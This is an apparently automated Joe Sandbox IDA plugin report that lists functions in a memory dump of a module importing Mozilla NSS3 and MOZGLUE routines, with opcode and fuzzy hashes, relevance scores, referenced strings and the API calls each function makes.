Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 728e5be7a1b9ca94d658550a8bda5b4a1f86647e9796cf129ae94278ce9c6ffd
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 44E01D751511456FDB01AF75DC0885E37959F08228754C510F529C7B71EA35D4558790

Function 6CAE0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CAE1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CAE1086

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: a82a691253b49703489b6a2637e483d570bac983e5ab0bae289d10c60f43f6d7
Instruction ID: ad481bc54a55d9627e75a3811e63d77cf9d8b93c7368fa78177f241d36b94aa8
Opcode Fuzzy Hash: a82a691253b49703489b6a2637e483d570bac983e5ab0bae289d10c60f43f6d7
Instruction Fuzzy Hash: F9A13D71A0125A9FCB08CF99C990AEEB7B6BF4C314B198129E915A7700DB35EC51DBD0

Function 6CA0AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA0AE9F
winUnlock, xrefs: 6CA0AE18

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 54ec520819f2a483f3485615f3f8ce71e1ab2348e6f101765934994b3b2a10da
Instruction ID: 20b304debf54d63c63cc9e599e7aaf0f22bd576220a9d72e6c19e0f3a4f82228
Opcode Fuzzy Hash: 54ec520819f2a483f3485615f3f8ce71e1ab2348e6f101765934994b3b2a10da
Instruction Fuzzy Hash: 36719D716082409FDB14CF28E891AAABBF5FF89314F14CA28F94997301D730AE85CBD1

Function 6CACED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CACEE3D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 667362cf4d005e3ac06fe9912c6873f986f35e54fb29a3d55eded2171bb85efc
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 7171D272F017058FD718CF59C8816AAB7F2AB88304F19862DD85697B91D770E980CBD2

Function 6CA04DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA05125

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: a06b015bb9e018db42b7d6a44baf6e6c62d50a832a6977ddadfc5163d758360d
Instruction ID: 888b10ce51b6e864e3054249a5366df3895ec3c6d6a72d7fe4e333ceab3fbab1
Opcode Fuzzy Hash: a06b015bb9e018db42b7d6a44baf6e6c62d50a832a6977ddadfc5163d758360d
Instruction Fuzzy Hash: 8AE12A70A18380CFDB05DF28E49565ABBF0FF89358F15862DE89997351E730A985CF82

Function 6CA246D0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1aa37cb89b62e3dbafd3f562514c9ca61cefd40229394549d89e09f7dd079e2
Instruction ID: 76b0fd44dd0ef9b6588c6cb65434a75849f721b395445b0ad06dc5ef835b99a2
Opcode Fuzzy Hash: b1aa37cb89b62e3dbafd3f562514c9ca61cefd40229394549d89e09f7dd079e2
Instruction Fuzzy Hash: 60929F74A04225CFCB15CF58C490AAAB7F2FF89308F2C829DC9556B756D735E982CB90

Function 6CA8E5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: 994334dccf4202468c163143cb2c0f2a83e330781dfc96d57e985e8778538cfd
Instruction ID: 6a315141b5f658384fe69091ac493b9625348b95b9dce28ffa24e36bd03cef4a
Opcode Fuzzy Hash: 994334dccf4202468c163143cb2c0f2a83e330781dfc96d57e985e8778538cfd
Instruction Fuzzy Hash: 92D1DEB9D02614DBEB019F64D9457EEB7B5BF4570CF080128E80967B40E735E899CBE2

Function 6C9F45B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c850f4e9059f876df29aeb22f5a9408062496d5a957279f3339df7f6576c05b
Instruction ID: dbef1aa81450d1bc2bdf12a7f2b156df599d8cb435207dd0a69953911810e50c
Opcode Fuzzy Hash: 3c850f4e9059f876df29aeb22f5a9408062496d5a957279f3339df7f6576c05b
Instruction Fuzzy Hash: EAD1C172B0061A8BCB0CCF68CA901AEB7F2BF98314719856ED455AB791D775DA03CB80

Function 6CA8A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33331af6894ff3efb8947b4be9ff01a7fc19dd83b333304e28df38e4e936e778
Instruction ID: 4ffc4396820462eb19c1649fe9b2d77efb26c344011c783bcabc8af7df5a8a56
Opcode Fuzzy Hash: 33331af6894ff3efb8947b4be9ff01a7fc19dd83b333304e28df38e4e936e778
Instruction Fuzzy Hash: 89817170A022058FDB18CF58D544BAABBE6FF48308F19C16DE81A9B794DB74DD85CB90

Function 6CA68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129ee8b0e7c2c03f8066791b0fe8b0799ae79883dbbfc87baa12476a043c9522
Instruction ID: e5d4ae85eaff2573778b7ea02e5c40189de7bde0d5dd525ffe49cada853e4311
Opcode Fuzzy Hash: 129ee8b0e7c2c03f8066791b0fe8b0799ae79883dbbfc87baa12476a043c9522
Instruction Fuzzy Hash: CA11BC32A012158BD708CF26D894B5AB3B9BF4631CF08826AD8158FE41C775E8C6C7C1

Function 6CB40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273e4d78ad259562d683827f3a94d86da398ea4555c5e30f9138df8c5c4e0de4
Instruction ID: e7c0f557f005585d518125016a82310925d380548491207d624df8c777e69dc9
Opcode Fuzzy Hash: 273e4d78ad259562d683827f3a94d86da398ea4555c5e30f9138df8c5c4e0de4
Instruction Fuzzy Hash: 6E11C175708385DFCB00DF28D88066A77A5FF95368F14C069D8198B706DB71E806CBA1

Function 6CAB44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0fcf79bb6d54ddcf39dbe3dcc9cfdc11360d91fa721d2a68e1b44155cccf6a2
Instruction ID: d90666b9d876380d2c4729ddc52dcb59800e9653077a8aaa2d99d7fdd2641db7
Opcode Fuzzy Hash: d0fcf79bb6d54ddcf39dbe3dcc9cfdc11360d91fa721d2a68e1b44155cccf6a2
Instruction Fuzzy Hash: C4110976E002199F8B00CF99D9819EFBBF9EF8C664B554519ED19E7300D230ED548BE0

Function 6CAB4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb42f329efd7a217ee5bf2e1236620459d4601346119e47667d68606af7a324
Instruction ID: 906087c90194f422113509270a41117d505936d600025d03591bc102955724fa
Opcode Fuzzy Hash: 1fb42f329efd7a217ee5bf2e1236620459d4601346119e47667d68606af7a324
Instruction Fuzzy Hash: C9110576A002599F8B00CF59C9819EFBBF8EF4C214B16416AED18E7301E630EE108BE1

Function 6CB40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: bf77639f58be5cefc6d3b0db3e8c1980e570a3e112322b1db879e4b408256f55
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: D5E0923A20A0B4A7DB148E09E450AA97369DF91619FB4C07DCC5D9FA05D733F8079B82

Function 6CA98670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: 828539f61006fa4a8bededa51cc09fafb32d56ea4fb3a50649d7489a3b33d920
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: 58E0B6B4C08B489BD708DF6AD54106AFBE4AFD8214F00D91DFCAC87212E730A5D48B82

Function 6CA6CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47d220cecef7cd456a47faf708ed9ee07305edf3f78815286ab46bb67c23c764
Instruction ID: 3cccacc6b9361c93bb1860b43ec0047444e32987d0f5db0bc23d1fa8df06afd3
Opcode Fuzzy Hash: 47d220cecef7cd456a47faf708ed9ee07305edf3f78815286ab46bb67c23c764
Instruction Fuzzy Hash: CAC04838244608CFC704DB08E4A99A43BA8AB0961070440A4EA028B721DA21F800CA80

Function 6CAF67C0 Relevance: 45.3, APIs: 30, Instructions: 254COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(53E58955,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF67D4

Part of subcall function 6CA795B0: TlsGetValue.KERNEL32(00000000,?,6CA900D2,00000000), ref: 6CA795D2
Part of subcall function 6CA795B0: EnterCriticalSection.KERNEL32(?,?,?,6CA900D2,00000000), ref: 6CA795E7
Part of subcall function 6CA795B0: PR_Unlock.NSS3(?,?,?,?,6CA900D2,00000000), ref: 6CA79605

Part of subcall function 6CAFF2E0: free.MOZGLUE(-00000694,00000000,?,6CB02B36,-00000694), ref: 6CAFF2F4

SECKEY_DestroyPrivateKey.NSS3(EC835657,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF67E7
free.MOZGLUE(83CF893E,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF67FA
CERT_DestroyCertificate.NSS3(?,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6828
PORT_FreeArena_Util.NSS3(04890424,00000000,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6838
SECKEY_DestroyPublicKey.NSS3(8B088B0A,6CB05D40,00000000,?,6CB0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB080C1), ref: 6CAF685B
CERT_DestroyCertificate.NSS3(8904508B,6CB05D40,00000000,?,6CB0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB080C1), ref: 6CAF686E
PORT_FreeArena_Util.NSS3(?,00000000,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF688D
PORT_FreeArena_Util.NSS3(C0850001,00000000,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF68A9
PK11_DestroyContext.NSS3(896CBD16,00000001,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF68BE
PK11_DestroyContext.NSS3(15FF2404,00000001,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF68D3
PK11_DestroyContext.NSS3(6CBCCCEC,00000001,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF68E8
PK11_DestroyContext.NSS3(8504EC83,00000001,00000000,00000060,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF68FD
free.MOZGLUE(892C4889), ref: 6CAF6940
SECITEM_ZfreeItem_Util.NSS3(6CB06218,00000000), ref: 6CAF6953
SECITEM_ZfreeItem_Util.NSS3(6CB06310,00000000,6CB05D40,00000000,?,6CB0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CAF6963
SECITEM_ZfreeItem_Util.NSS3(6CB06390,00000000,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6973
free.MOZGLUE(894AD231,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF699E
PK11_FreeSymKey.NSS3(0F6CBA60,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF69EE
PK11_FreeSymKey.NSS3(4E89C844,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A01
PK11_FreeSymKey.NSS3(01EAE904,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A14
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A27
PK11_FreeSymKey.NSS3(1BE3C101,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A3A
PK11_FreeSymKey.NSS3(FFFFFFB8,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A4D
PK11_FreeSymKey.NSS3(023DE9F7,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A60
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A73
PK11_FreeSymKey.NSS3(0CE3C101,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A86
PK11_FreeSymKey.NSS3(FFEFFFB8,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6A99

Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE10
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE24
Part of subcall function 6CABADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CA9D079,00000000,00000001), ref: 6CABAE5A
Part of subcall function 6CABADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE6F
Part of subcall function 6CABADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE7F
Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEB1
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEC9

PK11_HPKE_DestroyContext.NSS3(15FF2404,00000001,?,?,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CAF6AD1
free.MOZGLUE(6CBCCCEC,?,?,?,?,?,?,?,?,?,?,?,?,6CB05D40,00000000), ref: 6CAF6AE4

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$Free$Destroy$Utilfree$Context$Arena_CertificateCriticalEnterItem_SectionValueZfree$Unlock$PrivatePublicmemset
String ID:
API String ID: 474436658-0
Opcode ID: e11bb578d7eebacfb6e08b8f9865b581e8721096e72971b3f5309e0a565dabc2
Instruction ID: ff763509e0d44399125d3606f680b8fbb3c0afc11ba0e41af0e9245fd03777ba
